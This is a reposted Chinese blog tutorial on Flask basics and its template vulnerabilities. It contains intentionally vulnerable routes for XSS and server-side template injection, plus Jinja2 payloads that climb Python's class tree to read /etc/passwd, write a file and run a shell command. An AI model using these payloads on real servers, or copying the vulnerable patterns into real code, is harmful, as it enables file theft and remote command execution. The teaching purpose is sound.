Python——flask漏洞探究


python的用途是真的多,就連網站也能做,這個有點像Java的Servlet

flask基礎

hello world

我們先從基礎的開始,在網頁上打出hello world,python代碼如下:

from flask import Flask

app=Flask(__name__)

@app.route('/')
def test():
    return 'hello world'

其中@app.route就有點類似於Java的@WebServlet了,上述代碼中,當你在瀏覽器訪問127.0.0.1:5000/時就能夠看到輸出了,5000是flask的默認端口

模板

flask使用的渲染引擎是Jinja2,我們可以直接return一些HTML代碼來實現網頁的格式化,但是這樣會導致XSS漏洞,如下

from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '<html>%s</html>'
    return html%code

methods傳參表示/僅接受GET,POST類型的傳參,這里我們接受了名為testGET傳參然后替換了html中的%s,當我們在網頁中傳參<script>alert(1)</script>就可以看到引起了XSS注入

render_template_string

為了避免XSS,可以使用render_tempplate_string對輸入的文本進行渲染,代碼如下

from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    html='<html>{{var}}<html>'
    test = request.args.get('test')
    return render_template_string(html,var=test)

{{}}為變量包裹標示符,在render_template_string傳參即可替換{{var}}為GET傳參變量test,再次進行XSS實驗,可以看到已經被轉義了

render_template

在py文件中寫HTML有點麻煩,不直觀。在flask中就有一種叫做模板的東西,我們可以借助render_template從templates文件夾中加載我們想要的html文件,然后對里面的內容進行修改輸出。首先我在templates中放入這樣的一個index.html:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
    <h1>this is template html file</h1>
    <p>get var {{var}}<p>
</body>
</html>

index.py代碼如下:

from flask import Flask,render_template

app=Flask(__name__)

@app.route('/')
def test():
    return render_template('index.html',var="test")

可以理解為我使用render_template函數引用了templates文件夾下面的index.html模板,然后傳入一個參數var,用來控制模板中的{{var}},我們再到瀏覽器中看看

可以看到{{var}}已經被替換成了test,當我們傳入XSS語句時是不會執行的,他同樣會自動渲染

SSTI文件讀取/命令執行

SSTI(Server-Side Template Injection) 服務端模板注入,就是服務器模板中拼接了惡意用戶輸入導致各種漏洞。通過模板,Web應用可以把輸入轉換成特定的HTML文件或者email格式

在Jinja2引擎中,{{}}不僅僅是變量標示符,也能執行一些簡單的表達式,產生該漏洞的代碼如下

from flask import Flask,render_template,request,render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])
def test():
    code = request.args.get('test')
    html = '<html>%s</html>'%code
    return render_template_string(html)

當我們傳入?test={{7*7}},神奇的事情發生了

接下來我在演示介紹一下如何利用這個漏洞實現文件讀寫和命令執行,其大致思路如下

找到父類<type 'object'>–>尋找子類 __subclasses__()–>找關於命令執行或者文件操作的模塊

讀取文件

  1. 獲取’‘的類對象
>>> ''.__class__
<type 'str'>
  1. 追溯繼承樹
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

可以看到object已經出來了

  1. 繼而向下查找object的子類
''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

耐心找一下,可以找到第40個為<type> 'file'

  1. 執行命令
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

執行完這條命令就能得到passwd文件了

寫入文件

寫入文件的方法和上面類似

''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1','w').write('123')

執行命令

執行命令有很多種方法,這里要找的是<class 'site._Printer'>,找一下,在第71個,那么我們執行命令

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

這樣就可以加載到os模塊並執行ls命令,命令執行結果方法不唯一,payload也不一定一致,但思路大體就是這樣了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM